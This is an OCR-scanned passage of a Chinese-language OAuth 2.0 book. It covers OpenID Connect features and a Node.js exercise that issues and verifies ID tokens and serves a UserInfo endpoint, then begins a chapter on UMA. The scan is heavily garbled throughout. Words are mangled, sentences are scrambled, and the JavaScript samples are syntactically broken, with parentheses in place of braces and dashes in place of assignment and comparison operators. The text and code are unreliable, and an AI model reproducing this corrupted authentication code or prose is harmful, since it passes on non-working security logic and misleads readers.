文档 都 向 开发 人 员 介 绍 了 如 何 构建 基本 的 OAuth 2.0 客户 端 以 及 添加 OpenID Connect 功能 所 需 的 
组 件 ， 其 中 很 多 是 这 里 介绍 过 的 。 




















13.5.5 ”高 级 功能 


虽然 OpenID Connect 规范 的 核心 部 分 非常 简单 ， 但 基本 的 方法 并 不 能 满足 所 有 的 应 用 场景 。 
HIE, OpenID Connect 在 标准 的 OAuth 之 上 还 定义 了 许多 可 选 的 高 级 功能 。 知 是 全 面 介 绍 这 些 
功能 ， 慌 怕 可 以 独立 成 书 ， 不 过 我 们 可 以 在 本 节 介 绍 其 中 几 个 关键 组 件 。 

OpenID Connect 客户 端 可 以 选择 使 用 签名 的 JWT 进行 身份 认证 ， 取 代 OAuth 中 传统 的 共享 
客户 端 密 钥 。 如 果 客 户 端 向 服务 器 注册 过 公 钥 ， 则 可 以 使 用 客户 端 公 钥 对 该 JWT 进行 非 对 称 签 
名 ， 或 者 可 以 使 用 客户 端 密 钥 对 该 JWT 进行 对 称 签名 。 这 种 方式 可 以 提高 客户 端的 安全 等 级 ， 
因为 可 以 避免 在 网 络 上 传递 密 钥 。 

同样 ，OpenID Connect 也 可 以 以 签名 JWT 的 形式 向 授权 端点 发 送 请 求 ， 取 代表 单 参数 的 形 
式 。 由 于 签名 所 使 用 的 密 钥 已 经 在 服务 器 上 注册 ， 因 此 服务 器 可 以 验证 请 求 对 象 中 的 参数 ,确保 
它们 未 被 浏览 器 算 改 。 

OpenID Connect 服务 器 可 以 选择 将 服务 器 的 输出 签名 或 加 密 〈 包 括 UserInfo 端点 )， 以 JWT 
的 形式 输出 。ID 令 牌 同样 可 以 在 签名 的 基础 上 再 由 服务 器 加 密 。 除 了 使 用 TLS 连接 所 获得 的 保 
障 之 外 ， 这 些 保护 让 客户 端 确 保 服务 器 的 输出 是 未 被 算 改 过 的 。 

作为 扩展 ，OpenID Connect WE OAuth 2.0 端点 上 添加 了 其 他 参数 ， 包 括 显示 类 型 提示 、 提 
示 行 为 和 身份 认证 上 下 文 引 用 。 得 益 于 JSON 载荷 固有 的 表达 能 力 ， 通 过 请 求 对 象 ，OpenID 
Connect 客户 端 可 以 向 授权 服务 器 发 送 相 比 于 OAuth 2.0 更 精细 的 请 求 。 这 些 请 求 可 以 包含 细 粒 




























































































(D http:/openid.net/specs/openid-connect-registration-1_0.html 
(25 http://openid.net/specs/openid-connect-basic-l 0.html 
(3) http://openid.net/specs/openid-connect-implicit-1 0.html 
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度 的 用 户 声 明 信 息 ， 例 如 只 让 能 匹配 特定 标识 符 的 用 户 登 录 。 

OpenID Connect 提供 了 让 服务 器 ( 或 其 他 第 三 方 ) 发 起 登录 流程 的 方法 。 虽 然 典 型 的 OAuth 
2.0 事务 都 是 由 客户 端 发 起 的 ， 但 是 这 一 可 选 的 功能 让 客户 端 可 以 接收 信号 ， 然 后 用 指定 的 IdP 
启动 登录 流程 。 

OpenID Connect 还 定义 了 几 种 回收 令 牌 的 方法 , 包括 一 些 混合 的 流程 ,这 些 流 程 中 有 些 信息 
(比如 ID 令 牌 ) 通过 前 端 信道 传递 , 还 有 些 信息 ( 比如 访问 令 牌 ) 通过 后 端 信道 传递 。 这 些 流 程 
不 应 该 被 视 为 现 有 的 OAuth 2.0 流程 的 简单 组 合 ， 而 应 该 被 看 作为 不 同 应 用 提供 的 新 功能 。 

最 后 ，OpenID Connect 还 提供 了 RP 和 IdP 之 间 ， 甚 至 多 个 RP 之 间 的 管理 会 话 规 范 。 由 于 
OAuth 2.0 没有 对 除 授 权 委 托 阶 段 之 外 的 用 户 在 场 的 概念 ， 因 此 还 需要 一 些 扩展 才能 对 联合 身份 
认证 的 生命 周期 进行 处 理 。 如 果 用 户 从 一 个 RP 上 登 出 ， 则 他 们 有 可 能 也 想 在 其 他 RP 上 登 出 ， 
这 就 需要 RP 能 够 通知 IdP 去 执行 这 样 的 操作 。 而 其 他 的 RP 要 能 够 接收 来 自 IdP 的 登 出 信号 , 并 
做 出 相应 的 反应 。 

OpenID Connect 提供 了 以 上 这 些 扩 展 ， 且 并 没有 破坏 与 OAuth 2.0 的 兼容 性 。 
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请 打开 ch-13-ex-1 HR, 这 里 已 经 有 一 个 功能 完整 的 OAuth 2.0 系统 ,现在 要 在 已 有 的 OAuth 
2.0 基础 设施 之 上 构建 一 个 简单 的 OpenID Connect 系统 。 要 完整 地 介绍 OpenID Connect 所 有 特性 
的 实现 , 可 以 写 出 一 整 本 书 , 本 练习 只 打算 涉及 它 的 基础 特性 。 我 们 将 在 授权 服务 器 的 授权 码 流 
程 上 增加 卫 令 牌 颁 发 的 支持 , 还 会 在 受 保护 资源 上 创建 一 个 UserInfo 端点 , 并 使 用 共享 数据 库 ， 
为 这 是 一 种 常用 的 部 署 模 式 。 需 要 注意 的 是 , 虽然 授权 服务 器 和 UserInfo 端点 运行 在 不 同 的 进 
程 中 ,但 在 RP 看 来 ， 它 们 是 一 个 IdP 整体 。 我 们 还 要 将 一 个 普通 的 OAuth 2.0 客户 端 修改 成 一 
个 OpenID Connect RP， 让 它 解 析 并 验证 ID Sj, M UserInfo 端点 获取 信息 并 显示 。 

整个 练习 省 略 了 一 个 重要 组 件 : 用 户 身 份 认 证 。 作 为 替代 方案 , 我 们 再 次 在 授权 页 面 中 使 用 
简单 的 下 拉 选 择 控件 来 确定 是 哪个 用 户 登 录 了 dP, 这 与 在 第 3 章 中 的 做 法 一 样 。 在 生产 系统 中 ， 
用 于 IdP 的 主要 身份 认证 方法 至 关 重 要 ， 因 为 服务 器 颁发 的 联合 身份 信息 是 依赖 于 此 的 。 有 很 多 
主要 身份 认证 库 可 供 选 择 ， 把 它们 集成 到 框架 中 的 任务 留 给 读者 去 完成 。 但 是 以 防 万 一 ， 还 需要 
提醒 一 句 : 不 要 在 生产 系统 中 使 用 下 拉 选 择 控件 这 样 简 陋 的 身份 认证 机 制 。 


13.6.1 生成 ID Sh 


首先 ,需要 生成 ID 令 牌 并 将 它 与 访问 令 牌 一 起 返回 。 因 为 ID 令 牌 其 实 就 是 一 个 特殊 的 JWT, 
所 以 继续 使 用 在 第 11 章 中 使 用 过 的 库 和 技术 。 如 果 想 了 解 JWT 的 详细 信息 ， 请 回 看 第 11 章 。 

请 在 编辑 器 中 打开 authorizationServerjs 文件 。 在 靠近 文件 顶部 的 位 置 ， 我 们 提供 了 系统 中 
的 两 个 用 户 的 信息 : Alice 和 Bobo 在 生成 ID 令 牌 和 Userinfo 响应 时 会 用 到 这 些 信 息 。 为 了 简化 ， 
我 们 使 用 了 以 用 户 名 索引 的 简单 内 存 变量 , 用 户 名 可 以 在 授权 页 面 的 下 拉 菜 单 中 选择 。 在 生产 系 
统 中 ， 一 般 会 使 用 数据 库 、 目 录 服 务 或 者 其 他 持久 存储 。 




























































































218 $133 将 OAuth 2.0 用 于 用 户 身份 认证 





var userInfo = ( 
"alice": ( 
"Sub": "9XE3-J134-001322A", 
"preferred username": "alice", 
"name": "Alice", 
"email": "alice.wonderlandQGexample.com", 


"email verified": true 


"bob" 
"Sub": "I1ZT5-OE63-57383B", 
"preferred username": "bob", 
"name": "Bob", 
"email": "bob.loblobGexample.net", 


"email verified": false 


j 
E 
接 下 来 , 将 在 生成 访问 令 牌 之 后 生成 了 D 今 牌 。 首先 , 需要 确定 是 否 应 该 生成 DD 今 牌 。 我 们 
应 该 只 在 用 户 授 权 了 openid 权限 范围 日 用 户 被 查找 到 的 情况 下 才 生 成 ID 令 牌 。 


























if ( .contains(code.scope, 'openid') && code.user) ( 


下 一 步 ,需要 为 ID 令 牌 创建 头 部 ， 并 将 所 有 需要 的 字段 添加 到 载荷 中 。 首 先 ， 将 授权 服务 
器 设置 为 颁发 者 ， 并 添加 用 户主 体 标 识 符 。 请 记 住 ,这 两 个 字段 合 起 来 构成 了 全 局 唯一 的 用 户 标 
识 。 然 后 要 将 令 牌 的 目标 接收 者 设置 为 发 起 请 求 客户 端的 客户 端 ID。 最 后 ， 设 置 令 牌 的 颁发 时 
ERR, 并 将 过 期 时 间 设 置 为 5 分 钟 以 后 。 这 样 的 有 效 时 长 对 于 DD 令 牌 已 经 够 用 , 足以 在 RP 上 处 
理 令 牌 并 为 用 户 绑 定 会 话 。 请 记 住 ，RP 无 须 在 任何 外 部 资源 上 使 用 ID 令 牌 ， 所 以 YD 令 牌 的 有 
效 时 间 可 以 并 且 应 该 尽 可 能 短 。 


























var header = ( 'typ': 'JWT', 'alg': rsaKey.alg, 'kid': rsaKey.kid ); 


var ipayload - ( 

iss: 'http://localhost:9001/', 

sub: code.user.sub, 

aud: client.client id, 

iat: Math.floor(Date.now() / 1000), 

exp: Math.floor(Date.now() / 1000) + (5 * 60) 
} . 


只 有 在 客户 端 向 授权 端点 发 送 的 最 初 请 求 中 带 有 此 值 的 情况 下 ， 才 需要 添加 nonce fü. X 
个 值 与 state 参数 有 许多 相似 之 处 ， 只 是 要 防护 的 跨 站 攻击 点 稍 有 不 同 。 


if (code.request.nonce) ( 
ipayload.nonce - code.request.nonce; 


) 
然后 ， 使 用 服务 器 的 密 钥 对 它 签 名 ， 并 将 其 序列 化 为 一 个 JWT。 
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var privateKey = jose.KEYUTIL .getKey (rsaKey); 
var id token = jose.jws.JWS.sign(header.alg, JSON.stringify (header), 
JSON.stringify(ipayload), privateKey); 


最 后 ， 修 改 已 有 的 令 牌 响应 ， 让 它 同 访问 令 牌 一 起 返回 。 
token response.id token = id token; 


我 们 需要 做 的 就 是 这 些 。 虽 然 可 以 将 ID 令 牌 与 其 他 令 牌 一 起 存储 起 来 , 但 是 ID 令 牌 不 会 
被 传 回 到 授权 服务 器 或 者 任何 受 保护 资源 ， 所 以 实际 上 是 不 需要 存储 的 。 和 访问 令 牌 比 起 来 ， 
它 的 行为 更 像 是 一 个 由 授权 服务 器 发 送 给 客户 端的 断言 。IdP 将 YD 令 牌 发 送 给 客户 端 就 算 完 成 
任务 了 。 





























13.6.2 ”创建 Userlnfo 端点 


接 下 来 , 要 在 受 保护 资源 上 添加 Userinfo 端点 。 请 打开 本 练习 中 的 protectedResource.js 文件 。 
需要 注意 的 是 ， 虽 然 在 OpenID 协议 中 IdP 是 单一 的 逻辑 组 件 ， 但 是 在 此 将 它 拆 分 成 不 同 的 服务 
器 是 可 行 的 。 我 们 已 经 将 前 面 的 练习 中 的 getAccessToken 和 requireaccessToken 辅助 函 
数 导 人。 这 些 函 数 不 仅 会 使 用 本 地 数据 库 来 查找 令 牌 信息 ， 还 要 查找 与 令 牌 关联 的 用 户 信息 。 
IdP 会 通过 响应 /userinfo 端点 上 的 HTTP GET 或 POST 请 求 来 提供 用 户 信息 。 由 于 代码 所 用 
的 Express.js 框架 的 限制 ,需要 为 处 理 右 代码 定义 一 个 外 部 命名 的 函数 变量 ， 这 与 之 前 的 练习 箭 
有 不 同 ， 但 效果 大 致 是 一 样 的 。 


var userInfoEndpoint = function(req, res) ( 






























































js 


app.get('/userinfo', getAccessToken, requireAccessToken, userInfoEndpoint); 
app.post('/userinfo', getAccessToken, requireAccessToken, userInfoEndpoint); 


接 下 来 ， 需 要 确认 传人 的 令 牌 中 至 少 包含 openid 权限 范围 。 如 果 不 包 含 ， 需 要 提示 错误 。 


if (! .contains(req.access token.scope, 'openid')) ( 
res.status(403).end(); 
return; 


} 


还 需要 从 数据 存储 中 获取 正确 的 用 户 信息 。 我 们 会 根据 访问 令 牌 的 授权 用 户 来 查找 用 户 信 
息 ， 这 与 第 4 章 的 练习 中 分 发 信息 所 用 的 方法 类 似 。 如 果 无 法 找到 用 户 ， 则 提示 错误 。 

















var user = req.access token.user; 

if (!user) 
res.statu 
return; 


} 


f 
{ 
s(404).end(); 
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接 下 来 ， 要 构造 出 响应 。 不 能 返回 整个 用 户 信息 对 象 , 因为 用 户 可 能 只 授权 了 可 用 权限 范围 
中 的 一 部 分 。 上 因此 我 们 会 遍历 访问 令 牌 中 的 每 个 
权限 范围 ， 随 即将 相关 的 声明 添加 到 输出 对 象 。 


























var out - (2; 
. .each(req.access token.scope, function (scope) ( 
if (scope -- 'openid') ( 

. .each(['sub'], function(claim) ( 

if (user[claim]) ( 
out[claim] = user[claim]; 
j 
3): 
) else if (scope -- 'profile') ( 

. .each(['name', 'family name', 'given name', 'middle name', 
'nickname', 'preferred username', 'profile', 'picture', 'website', 
'gender', 'birthdate', 'zoneinfo', 'locale', 'updated at'], 
function(claim) ( 

if (user[claim]) ( 
out[claim] = user[claim]; 
j 
Is 
) else if (scope -- 'email') ( 
. .each(['email', 'email verified'], function(claim) ( 
if (user[claim]) ( 
out[claim] = user[claim]; 
j 
3): 
) else if (scope -- 'address') ( 
. .each(['address'], function(claim) ( 
if (user[claim]) ( 
out[claim] = user[claim]; 
j 

js 
) else if (scope == 'phone') ( 

. .each(['phone number', 'phone number verified'], function(claim) ( 

if (user[claim]) ( 
out[claim] = user[claim]; 


} 


} 
M: 


最 终结 果 是 一 个 对 象 , 包含 用 户 对 当前 客户 端 授予 了 权限 的 所 有 声明 。 这 种 处 理 在 隐私 
全 性 和 用 户 选 择 方面 提供 了 惊人 的 灵活 性 。 将 这 个 对 象 以 JSON 格式 返回 。 











res.status(200).json(out); 
return; 


最 终 的 完整 函数 如 附录 B 中 的 代码 清单 14 所 示 。 
2 ui 我 们 将 OAuth 2.0 服务 器 变 成 了 OpenID Connect IdP。 我 们 重用 了 前 面 
音节 中 探讨 过 的 许多 组 件 ， 比 如 JWT 生成 (第 11 章 )、 入 站 访问 令 牌 处 理 (第 4 章 )， 以 及 权限 
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范围 搜索 (第 4 章 )。 之 前 讨论 过 ，OpenID Connect 还 有 许多 其 他 特性 ， 包 括 请 求 对 象 、 发 现 和 
注册 ， 我 们 将 这 些 特 性 的 实现 作为 练习 留 给 读者 〈 或 另 一 本 书 的 读者 ) 去 实现 。 


13.6.3 解析 ID 令 牌 


现在 ， 服 务 器 已 经 能 够 生成 卫 令 牌 ， 客 户 端 需要 能 够 解析 它们 。 我 们 要 使 用 的 方法 与 第 11 
章 在 受 保护 资源 上 解析 并 验证 JWT 所 用 的 方法 类 似 。 这 一 次 ， 令 牌 的 目标 接收 者 是 客户 端 ， 所 
以 要 改动 clientjs 文件 。 我 们 已 经 在 客户 端 和 服务 器 上 静态 配置 了 对 方 的 信息 ,但 是 在 OpenID 
Connect 中 ， 所 有 这 些 都 可 以 使 用 动态 客户 端 注册 和 服务 器 发 现 来 动态 完成 。 作 为 附加 练习 ， 请 
将 第 12 章 的 动态 客户 端 注册 代码 搬 过 来 ， 并 在 此 基础 之 上 实现 服务 器 发 现 。 

首先 ， 从 令 牌 响应 中 提取 令 牌 值 。 由 于 它 是 与 访问 令 牌 在 同一 个 数据 结构 中 被 传人 的 ,因此 
我 们 需要 在 令 牌 响应 的 解析 函数 中 将 它 从 那个 对 象 中 提取 出 来 。 还 要 将 旧 的 用 户 信息 和 ID 令 牌 
丢弃 ， 它 们 可 能 是 在 前 一 次 登录 时 留 下 来 的 。 

if (body.id token) ( 


userInfo - null; 
id token - null; 


然后 ,将 TD SIRRA JSON 对 象 ， 并 从 签名 开始 检查 ID 令 牌 的 内 容 。 在 OpenID 
Connect 中 ， 客 户 端 通常 会 从 一 个 JWK 集 URL 上 获取 服务 器 的 密 钥 ， 但 是 在 代码 中 是 静态 配置 
的 。 作 为 附加 练习 ， 请 实现 服务 器 发 布 公 钥 的 功能 ,并 让 客户 端 能 够 在 运行 时 根据 需要 向 服务 器 
请 求 密 钥 。 服 务 器 使 用 RS256 签名 算法 对 ID 令 牌 签名 ， 使 用 JSRSASign 库 来 处 理 JOSE， 如 第 
11 章 所 做 的 那样 。 

var pubKey = jose.KEYUTIL.getKey (rsaKey); 

var tokenParts = body.id token.split('.'); 


var payload = JSON.parse(base64url.decode(tokenParts[1])); 
if (jose.jws.JWS.verify(body.id token, pubKey, [rsaKey.alg])) ( 


然后 , mEDUULT E BolEt rede, MIRI DIETE RORBU. SIS FE, TERI US EERBRCE: 
在 各 自 的 if 语句 中 ， 只 有 全 部 检查 都 通过 时 才 接 受 令 牌 。 首 先 ， 要 确认 令 牌 颁发 者 与 授权 服务 
需 是 一 致 的 ， 并 且 还 要 保证 客户 端 卫 位 于 目标 接收 者 列表 中 。 




















































































































if (payload.iss == 'http://localhost:9001/') ( 
if ((Array.isArray(payload.aud) && | .contains(payload.aud, 
client.client id)) |l 
payload.aud -- client.client id) ( 

















然后 ， 还 要 确认 令 牌 的 颁发 时 间 和 过 期 时 间 的 时 间 戳 是 合理 的 。 
var now = Math.floor(Date.now() / 1000); 


if (payload.iat «- now) ( 
if (payload.exp »- now) ( 


还 有 一 些 额 外 的 检查 会 用 到 协议 中 更 高 级 的 功能 。 例如 , 如 果 在 最 初 的 请 求 中 发 送 了 nonce 
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值 , 需要 进行 比 对 , 或 者 计算 访问 令 牌 或 授权 码 的 散 列 值 。 对 于 使 用 授权 码 许可 类 型 的 简单 客户 
端 来 说 ， 这 些 检查 不 是 必需 的 ， 对 它们 的 实现 作为 练习 留 给 读者 。 

当 且 仅 当 所 有 检查 通过 时 ， 才 认为 ID 令 牌 有 效 ， 并 且 才 能 将 它 保 存 到 应 用 中 。 实 际 上 ， 不 
需要 保存 完整 的 令 牌 ， 因 为 已 经 验证 过 它 ， 所 以 只 需 保 存 它 的 载荷 ， 以 便 以 后 使 用 。 























id token = payload; 











在 整个 应 用 中 ， 可 以 将 ID 邻 牌 中 的 ia token.iss fWHid token.sub 值 组 对 ，sub 值 作 











为 当前 用 户 的 全 局 唯一 标识 符 。 这 种 方法 比 使 用 用 户 名 或 
为 发 布 者 URL 自动 限定 了 主体 字段 值 的 范围 。 获 得 ID 




















EB 子 邮 件 地 址 具有 更 强 的 抗 冲 突 怕 











E, 因 


牧 后 ， 会 将 用 户 跳 转 到 男 一 个 页 面 , 该 
页 面 会 显示 他 们 已 成 功 以 当前 用 户 身 份 登录 ， 如 图 13-6 所 示 。 


res.render('userinfo', (userInfo: userInfo, id token: id token)); 
return; 





Logged in user subject from issuer 


User information: Teri: afe zi] 


Log In Get User Information 





图 13-6 客户 端 页 面 ， 显 示 当 前 登录 的 用 户 




















该 页 面 显示 的 信息 包括 颁发 者 和 主体 ， 还 提供 了 一 个 按钮 ， 用 于 获取 当前 用 户 的 UserInfo。 





最 终 的 处 理 函 数 如 附录 B 中 的 代码 清单 15 所 示 。 


13.6.4 获取 Userlnfo 





在 处 理 完 认证 事件 之 后 , 我 们 可 能 还 想 知道 更 多 的 用 户 信息 ,而 不 仅仅 是 一 个 机 器 可 读 的 标 





识 符 。 为 了 访问 用 户 的 个 人 资料 信息 ( 包括 他 们 的 姓名 和 


























主要 关注 它 在 UserInfo 端点 上 的 使 用 。 


























电子 邮件 地 址 等 ), 会 使 用 在 OAuth 2.0 


流程 收 到 的 访问 令 牌 来 调用 IdP 上 的 UserInfo 端点 。 该 访问 令 牌 也 可 以 用 于 其 他 资源 , 但 在 此 处 


我 们 不 会 在 身份 认证 之 后 立即 自动 下 载 用 户 信 息 , 而 是 让 RP 在 有 需要 时 调用 UserInfo 端点 。 
在 应 用 中 ， 会 将 用 户 信 息 保存 到 userInfo 对 象 中 ， 并 显示 到 一 个 网 页 上 。 











我 们 已 经 在 项 目 中 提供 了 演 染 模板 ， 因 此 首先 需要 为 客户 端的 /userinfo 端点 创建 一 个 处 


HA 
app.get('/userinfo', function(req, res) { 


)); 
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该 调用 与 调用 其 他 受 OAuth2.0 保 护 的 资源 一 样 。 在 当前 情况 下 的 具体 做 法 是 将 Authorization 
头 部 设置 为 访问 令 牌 ， 发 起 一 个 HTTP GET 请 求 。 





var headers = { 
'Authorization': 'Bearer ' + access token 


H 


var resource = request('GET', authServer.userInfoEndpoint, 
(headers: headers) 
); 
UserInfo 端点 会 返回 一 个 JSON 对 象 ， 可 以 将 它 保 存 并 根据 情况 处 理 。 妈 
我 们 将 用 户 信息 保存 并 传递 给 泻 染 模 板 。 和 否则 ， 显 示 错 误 信 息 。 











Id 


果 收 到 成 功 啊 应 ， 








if (resource.statusCode >= 200 && resource.statusCode < 300) ( 
var body - JSON.parse(resource.getBody()); 


userInfo - body; 


res.render('userinfo', (userInfo: userInfo, id token: id token)); 
return; 

} else ( 
res.render('error', (error: 'Unable to fetch user information')); 
return; 


} 

页 面 如 图 13-7 所 示 。 它 显示 了 所 有 可 用 的 用 户 信息 。 请 尝试 授予 不 同 的 权限 范围 ， 并 比较 
返回 数据 的 差异 。 如 果 你 之 前 实现 过 OAuth 2.0 客户 端 (在 第 3 章 )， 这 应 该 是 很 简单 的 ， 因 为 
OpenID Connect 本 来 就 是 基于 OAuth 2.0 构建 的 。 





















































Logged in user subject : ! from issuer 


User information: 


* sub: 9XE3-J/34-00132A 

* name: Alice 

* preferred username: alice 

* email: alice. wonderlandQexample.com 
* email verified: true 


Log In Get User Information 


图 13-7. ”成 功 登录 并 获取 用 户 信息 的 客户 端 页 面 




















作为 附加 练习 ， 请 为 客户 端的 /userinfo 页 面 连接 上 自动 的 OpenID Connect 登录 。 也 就 是 
Wi, 当 有 人 访问 该 页 面 时 , 客户 端 必须 使 用 事先 存储 下 来 的 了 D 今 牌 和 访问 令 牌 来 获取 用 户 信息 ， 
如 果 没 有 事先 存储 的 令 牌 ， 客 户 端 就 要 自动 启动 身份 认证 协议 流程 。 
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13.7 小结 








许多 人 误 以 为 OAuth 2.0 是 一 种 身份 认证 协议 ， 而 现在 你 应 该 知道 它 不 是 
口 OAuth 2.0 不 是 身份 认证 协议 ， 但 可 用 于 构建 身份 认证 协议 。 

口 在 当今 Web 上 有 许多 使 用 OAuth 2.0 构建 的 身份 认证 协议 ， 其 中 大 多 数 是 特定 服务 商 专 
用 的 。 

Q 精心 设计 ， 避 免 基 于 OAuth 2.0 构建 身份 认证 协议 时 容易 出 现 的 一 些 常见 错误 。 

口 通过 添加 一 些 关键 组 件 , OAuth 2.0 授权 服务 器 和 受 保护 资源 可 以 充当 身份 提供 者 , OAuth 
2.0 客户 端 可 以 充当 依赖 方 。 

Q OpenID Connect 是 一 个 精心 设计 的 开放 标准 身份 认证 协议 ， 基 于 OAuth 2.0 构建 。 


探讨 完 这 个 基于 OAuth 2.0 构建 的 重要 协议 ， 接 下 来 将 探讨 其 他 几 个 用 于 更 高 级 应 用 场景 的 
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使 用 OAuth 2:0 的 协议 和 


配置 规范 








本 章 内 容 


略 管 理 


置 规范 ， 用 于 医疗 领域 





置 规范 ， 用 于 政府 服务 


C User Managed Access (UMA ), 一 个 基于 OAuth 2.0 构建 的 协议 ， 用 于 动态 许可 和 策 
口 Health Relationship Trust ( HEART )， 一 个 OAuth 2.0, OpenID Connect fil UMA 的 配 


C1 International Government Assurance ( iGov )， 一 个 OAuth 2.0 和 OpenID Connect 的 配 


目前 为 止 你 已 经 看 到 ，OAuth 2.0 是 一 个 强大 的 协议 ， 本 职工 作出 色 : 授予 访问 权限 并 通过 








HTTP 传递 授权 。OAuth 本 身 的 功能 是 有 限 的 ， 如 果 你 的 需求 超出 了 OAuth 的 能 力 范 围 ， 它 会 是 














工具 箱 中 颇 有 价值 的 一 员 , 但 它 不 是 你 的 唯一 选择 .OAuth 可 以 在 更 复杂 的 系统 中 充当 通用 构件 。 
































i 
们 都 在 OAuth 2.0 的 根基 之 上 实现 了 更 高 级 的 功能 。 首 先 ， 会 探讨 这 样 一 个 OAuth MH: 
OAuth 的 功能 进行 扩展 ， 实 现 了 用 户 对 用 户 ( user-to-user ) 的 共享 和 动态 许可 管理 。 人 然后 ， 








第 13 章 探 讨 了 一 个 重要 的 使 用 场景 一 一 用 户 身份 认证 ， 并 介绍 了 执行 这 一 功能 的 标准 协 
OpenID Connect, 该 协议 是 基于 OAuth 构建 的 。 本 章 将 探讨 另外 几 个 协议 和 配置 规范 ， 它 


它 对 


讨 特殊 领域 中 OAuth 的 几 个 配置 规范 及 相关 协议 ， 以 及 这 些 协议 所 带 来 的 更 大 范围 的 影响 。 请 




















注意 ,在 撰写 本 书 时 ， 这 些 规范 还 在 不 断 演化 ， 因 此 在 你 阅读 本 书 时 ， 它 们 的 最 新 〈 或 当前 ) 版 


本 可 能 会 有 所 变化 。 有 必要 提 及 的 是 ,本 书 的 作者 之 一 积极 参与 了 这 3 项 标准 和 配置 规范 的 人 


14.1 UMA 














iE o 


UMA ( User Managed Access ) 是 一 个 基于 OAuth 2.0 构建 的 协议 ， 它 让 资源 拥有 者 能 够 利用 


其 选择 的 授权 服务 器 , 对 其 资源 的 访问 进行 更 丰富 的 控制 。 访 问 资源 的 软件 可 能 是 受 资源 拥有 者 























控制 的 ， 也 可 能 是 受 其 他 用 户 控制 的 。UMA 协议 有 两 个 基于 OAuth 2.0 构建 的 主要 功能 : 
对 用 户 的 授权 ， 以 及 文 持 单 资 源 服务 器 对 多 授权 服务 咒 的 处 理 。 





用 户 
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换 句 话说 ，OAuth 2.0 让 资源 拥有 者 可 以 授权 客户 端 软 件 代 表 他 们 执行 任务 ， 而 UMA 协议 
则 允许 资源 拥有 者 授权 另 一 个 用 户 的 客户 端 代 表 男 一 个 用 户 执行 任务 。 更 通俗 地 说 ， OAuth 支持 
的 是 Alice 与 Alice 之 间 的 共享 ( 因为 Alice 的 客户 端 是 由 自己 运行 的 )， 而 UMA 支持 的 是 Alice 
与 Bob 之 间 的 共享 。 UMA 还 允许 Alice 将 自己 的 授权 服务 器 引入 资源 服务 器 。Bob 的 客户 端 一 旦 
尝试 访问 Alice 的 资源 ， 就 能 够 发 现 Alice 的 授权 服务 器 。 

UMA 之 所 以 能 做 到 这 一 点 ， 是 因为 它 改 变 了 传统 的 OAuth 角色 之 间 的 关系 ， 并 在 流程 中 定 
义 了 一 个 全 新 的 角色 : 请 求 方 (requesting party, RaP )。" 资 源 拥 有 者 管理 授权 服务 器 和 资源 服 
务 器 之 间 的 关系 , 通过 设置 一 些 策略 允许 第 三 方 访问 资源 。 在 请 求 方 控制 下 的 客户 端 可 以 通过 出 
示 客 户 端 信息 和 请 求 方 信息 来 请 求 访 问 令 牌 , 这 些 信 息 需 要 满足 资源 拥有 者 设置 的 要 求 。 资 源 拥 
有 者 根本 不 与 客户 端 交 互 ， 而 是 将 访问 权限 授予 请 求 方 (如 图 14-1 所 示 )。 





















































保护 API 授权 API 





A 


资源 拥有 者 授权 服 


图 14-1 UMA 协议 中 的 组 件 





是 的 , UMA 比 第 2 音 介 绍 的 OAuth 更 复杂 , 这 是 因为 它 在 解决 一 个 更 复杂 的 问题 。 在 UMA 
中 ,保护 API 这 半 部 分 由 资源 拥有 者 主导 ， 而 授权 API 这 半 部 分 由 请 求 方 主 导 。 在 UMA (f, 
个 组 件 都 有 各 自 的 作用 


14.1.1 UMA 的 重要 性 


深入 探讨 工作 原理 之 前 ， 先 来 分 析 一 下 为 什么 UMA 值得 关注 。UMA 能 管理 用 户 对 用 户 的 
dtu, 还 能 管理 由 用 户 控制 的 授权 服务 器 , 这 让 它 有 别 于 当今 互联 网 安全 领域 中 几乎 所 有 其 他 的 
协议 。 昌 然 这 使 得 UMA 成 为 一 个 相当 复杂 的 多 步骤 协议 ， 并 且 具 有 许多 参与 方 和 活动 部 件 ,但 
它 正 因此 而 成 为 一 个 功能 强大 的 协议 ， 能 够 解决 其 他 技术 无 法 解决 的 问题 。 

为 了 更 具体 地 介绍 , 来 回顾 一 下 照片 打印 的 例子 。 如 果 想 使 用 第 三 方 服务 打印 照片 的 人 并 不 
是 Alice 自己 ， 而 是 Alice 的 好 友 Bob， 他 想 打 印 Alice 的 账户 中 属于 他 们 俩 的 音乐 会 上 照片， 该 如 
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中 不 要 与 第 13 章 中 的 依赖 方 ( RP ) iiS. RP 通常 是 一 个 人 ， 而 RP 通常 是 计算 机 。 是 的 ， 这 确实 有 点 令 人 迷惑 。 
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何 实现 ?” 首先 ，Alice 可 以 让 照片 打印 服务 使 用 她 自己 的 个 人 授权 服务 器 。 她 可 以 在 授权 服务 器 
上 设置 这 样 的 策略 :“ 当 Bob 到 来 时 ， 让 他 读 取 所 有 这 些 照片 ”这 种 访问 控制 比较 普通 ,但 在 
UMA 中 , 授予 Bob 的 权限 也 被 授予 由 Bob 运行 的 软件 ， 该 软件 代表 Bob 执行 任务 。 在 这 种 情况 
F, Bob 在 云 打 印 服务 中 拥有 自己 的 账户 ， 该 账户 要 访问 的 是 Alice 的 照片 。 然 后 ，Alice 的 授权 
服务 器 会 要 求 Bob 用 一 组 声明 证 明 自 己 的 身份 ,只 要 Bob 提供 的 信息 与 Alice 设置 的 策略 相 匹 配 ， 
则 Bob 的 打印 服务 就 可 以 访问 Alice 共享 给 他 的 照片 ， 而 不 需要 冒充 Alice 的 身份 。Bob 也 不 需 
要 登录 到 Alice 的 授权 服务 器 ， 当 然 也 不 需要 在 Alice 的 照片 分 享 网 站 上 拥有 账号 。 

通过 这 种 机 制 ， 即 使 请 求 方 发 起 请 求 时 资源 拥有 者 不 在 场 ,也 能 够 访问 资源 。 只 要 客户 端 能 
够 以 某 种 方式 满足 资源 的 策略 要 求 ， 就 可 以 代表 请 求 方 获得 令 牌 。 与 其 他 OAuth 访问 令 牌 一 样 ， 
该 令 牌 可 以 在 资源 服务 器 上 使 用 , 但 不 同 的 是 , 资源 服务 器 可 以 看 到 从 资源 拥有 者 到 请 求 方 ,再 
到 客户 端的 完整 授权 链 ， 并 据 此 做 出 授权 决策 。 

虽然 UMA 可 以 在 静态 的 环境 中 运行 ， 这 个 静态 环境 中 的 各 方 都 是 相互 了 解 的 , 但 UMA 也 
允许 运行 时 在 授权 方 的 引导 下 引入 新 组 件 。 通 过 人 允许 资源 拥有 者 引入 自己 的 授权 服务 器 ，UMA 
